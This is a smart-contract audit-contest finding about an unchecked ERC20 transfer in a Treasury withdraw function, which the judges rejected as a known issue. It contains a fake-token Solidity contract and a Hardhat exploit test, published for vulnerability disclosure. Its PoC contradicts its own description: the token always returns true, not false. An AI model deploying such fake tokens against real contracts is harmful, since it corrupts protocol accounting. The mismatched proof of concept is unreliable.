Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Unchecked ERC20 transfer return value in `Treasury::withdraw` allows artificial deflation of treasury balances

0xwhyzee

Description

The Treasury::withdraw function decreases internal balance tracking before performing token transfers without validating the success of the ERC20 transfer operation. This enables a scenario where the contract's recorded balances (_balances and _totalValue) can be artificially deflated while no actual tokens are transferred, when interacting with ERC20 tokens that return false instead of reverting on failed transfers.

Proof of Concept

  1. Deploy an ERC20 token that returns false on failed transfers instead of reverting

  2. Deposit any amount of this token into the treasury

  3. Manager calls Treasury::withdraw with valid parameters

  4. Token transfer fails silently (returns false) but treasury balances are still decreased

// MaliciousToken.sol
contract MaliciousToken {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
​
function setFakeBalance(address account, uint256 amount) external {
_balances[account] = amount;
}
​
function approve(address spender, uint256 amount) external returns (bool) {
_allowances[msg.sender][spender] = amount;
return true;
}
​
function transfer(address, uint256) external pure returns (bool) {
return true; // Always return success
}
​
function transferFrom(address, address, uint256) external pure returns (bool) {
return true; // Always return success
}
​
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
}
​

Test case to add to existing test suite in Treasury.test.js:

describe("Exploit: Fake withdrawals", () => {
it("should corrupt totalValue when multiple tokens exist", async () => {
// Setup legitimate token
const legitToken = await (
await ethers.getContractFactory("MockToken")
).deploy("Good", "GOOD", 18);
await legitToken.mint(user1.address, 1000);
​
// Setup malicious token
const badToken = await (
await ethers.getContractFactory("MaliciousToken")
).deploy();
await badToken.setFakeBalance(user1.address, 1000);
​
// Approve both tokens
await legitToken.connect(user1).approve(treasury.getAddress(), 1000);
await badToken.connect(user1).approve(treasury.getAddress(), 1000);
​
// Deposit tokens
await treasury.connect(user1).deposit(legitToken.getAddress(), 500);
await treasury.connect(user1).deposit(badToken.getAddress(), 1000);
​
// Set fake balance in treasury
await badToken.setFakeBalance(treasury.getAddress(), 1000);
​
// Verify initial state
expect(await treasury.getTotalValue()).to.equal(1500);
​
// Exploit: Withdraw 500 from malicious token (transfer fails silently)
await treasury
.connect(manager)
.withdraw(badToken.getAddress(), 500, user2.address);
​
// Treasury incorrectly reports reduced balances
expect(await treasury.getBalance(badToken.getAddress())).to.equal(500);
expect(await treasury.getTotalValue()).to.equal(1000);
​
// Actual token balances remain unchanged
expect(await badToken.balanceOf(treasury.getAddress())).to.equal(1000);
expect(await legitToken.balanceOf(treasury.getAddress())).to.equal(500);
});
});

Impact

High severity. Treasury value can be artificially deflated while retaining actual tokens, enabling:

  • Incorrect protocol accounting

  • Potential fund mismanagement decisions based on false data

  • Possible collateralization ratio miscalculations if used in lending protocols

Recommendation

  • Use OpenZeppelin's SafeERC20 (Recommended):

contracts/core/collectors/Treasury.sol
+ import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
​
contract Treasury {
+ using SafeERC20 for IERC20;
​
function withdraw(...) {
// ... existing code ...
- IERC20(token).transfer(recipient, amount);
+ IERC20(token).safeTransfer(recipient, amount);
}
}

  • Manual return value check:

bool success = IERC20(token).transfer(recipient, amount);
if (!success) revert TransferFailed();

  • Whitelist compliant tokens:
    Implement a token whitelist system that only allows assets with guaranteed revert-on-failure behavior

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[INVALID] SafeERC20 not used

LightChaser Low-60

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.